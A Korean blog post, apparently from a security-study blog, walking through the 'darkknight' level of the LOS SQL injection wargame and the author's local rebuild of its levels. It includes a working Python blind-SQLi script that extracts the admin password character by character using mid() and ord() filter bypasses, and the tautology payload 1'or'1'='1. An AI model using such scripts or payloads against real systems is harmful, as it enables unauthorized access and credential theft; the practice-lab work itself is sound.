agencies

[프로젝트] LOS v0.2 본문

Ⅲ. 정보보안

[프로젝트] LOS v0.2

agencies 2024. 3. 10. 10:34

 

LOS의 문제 내용입니다.

darkknight 이며, 문제풀이 내용은 아래와 같습니다.

 

import requests as r

url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no=1%20or%20id%20like%20reverse(%22nimda%22)%20and%20"

i=8
flag = ""
#패스워드 검사
for j in range(1,i+1):
    for k in range(ord('0'), ord('z')):
        p = "ord(mid(pw,{0},1))like {1}%23".format(j,k)
        res = r.get(url+p,cookies={"PHPSESSID":"vgjb9eaaankiq042bvju3up9ll"})

        if "Hello admin" in res.text:
            flag+=chr(k)
            print("The password is :",flag)
            break

 

 

substring / substr 과 ascii가 막혔기 때문에

mid와 ord 함수를 사용하기로 했습니다.

 

입력을 받는 부분은 pw와 no 부분인데 no부분이 최종 쿼리문이기 때문에, pw부분은 아무것도 입력하지 않았습니다.

 


 

LOS 프로젝트에서도 벌써  12탄까지 구축했습니다.

 

 

 

 

* 테이블이 한개인 점을 감안해서 항상 사용자의 이름을 추가하고 변경을 해 주는 작업을 하고 있습니다.

 

 

los에서 제공하는 필터링 부분도 동일하게 구축합니다.

패스워드 입력란에 _가 들어가기 때문에 어쩔 수 없이 preg_match에서 _를 제외할 수밖에 없었습니다.

그럼 패스워드에 _를 없애

 

 

 

 

 

// one table set issue 부분에서는

user_table에 있는 첫 번째 사용자는 admin이므로 항상 1'or'1'='1 을 입력할 시 출력이 됩니다.

이를 방지하고자 사용자 계정을 추가를하고 있으며,

쿼리문을 해당 문제 레벨에서 추가되는 사용자가 아니라면 플래그가 출력되지 않습니다.

 

// show query 부분에서는 사용자가 입력한 쿼리문이 화면에 보이며

 

 

나머지는 html상으로 보이는 내용입니다.